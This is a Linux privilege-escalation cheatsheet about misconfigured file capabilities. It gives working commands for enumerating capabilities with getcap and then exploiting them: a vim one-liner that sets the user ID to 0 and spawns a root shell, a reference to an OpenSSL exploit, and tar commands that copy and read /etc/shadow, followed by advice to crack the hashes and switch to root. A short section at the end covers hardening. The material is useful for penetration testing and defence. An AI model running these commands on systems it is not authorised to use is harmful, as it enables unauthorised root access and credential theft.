

Capabilities - Linux Privilege Escalation Cheatsheet

Introduction

Linux capabilities allow processes to perform specific privileged operations without requiring full root access. While they improve security by limiting privileges, misconfigured capabilities on binaries can become powerful vectors for privilege escalation. This cheatsheet explains how to identify, exploit, and secure capabilities to prevent misuse.

1. Identifying Capabilities

To locate binaries with capabilities set, use the following command:

Command	Description
<code>getcap -r / 2>/dev/null</code>	Recursively list all files with capabilities, redirecting errors to /dev/null.

2. Exploiting Misconfigured Capabilities

General Steps to Exploit Capabilities

1. Identify binaries with capabilities:

Run `getcap -r / 2>/dev/null` to locate binaries with capabilities.

2. Research the binary's purpose:

Check if it has a documented privilege escalation method using [GTF0Bins](#) ([Capabilities Section](#)).

3. Execute exploit:

Leverage the identified capability to elevate privileges, as demonstrated below.

Example 1: Exploiting Vim with Capabilities

If a vim binary has cap_setuid+ep, it can execute commands with elevated privileges.

Steps	Command/Description
Locate the binary	Example output: ./vim = cap_setuid+ep
Execute privilege escalation command	Run:./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

Example 2: Exploiting OpenSSL with Capabilities

OpenSSL with cap_setuid+ep can be leveraged for privilege escalation.

Steps	Command/Description
Locate OpenSSL with capabilities	Example output: /usr/bin/openssl = cap_setuid+ep
Use compiled exploit	Follow the guide here to compile and run the exploit: OpenSSL Exploit .

Example 3: Exploiting Tar with Capabilities

If tar has cap_dac_read_search+ep, it can read files that are normally inaccessible.

Steps	Command/Description
Locate the binary	Example output: <code>./tar = cap_dac_read_search+ep</code>
Archive sensitive files	Create an archive of restricted files: <code>./tar -cvf shadow.tar /etc/shadow</code>
Extract the archive	Extract files to readable locations: <code>./tar -xvf shadow.tar</code>
Read extracted files	Example: <code>cat etc/shadow</code>

Crack the password hashes (e.g., using `hashcat`), then login as root using `su root`.

3. Securing Capabilities

Security Practice	Description
Audit capabilities regularly	Use <code>getcap -r / 2>/dev/null</code> to identify and review capabilities.
Remove unnecessary capabilities	Use <code>setcap -r [binary]</code> to remove capabilities from binaries.
Restrict access to binaries	Limit execution permissions for sensitive binaries with capabilities.
Monitor for unauthorized changes	Use monitoring tools like <code>auditd</code> to track changes to capabilities or binaries.

Key Notes

- Common Privileged Capabilities:
- `cap_dac_read_search`: Allows reading restricted files.
 - `cap_setuid`: Allows setting user ID, enabling privilege escalation.
 - `cap_net_bind_service`: Grants the ability to bind to privileged ports.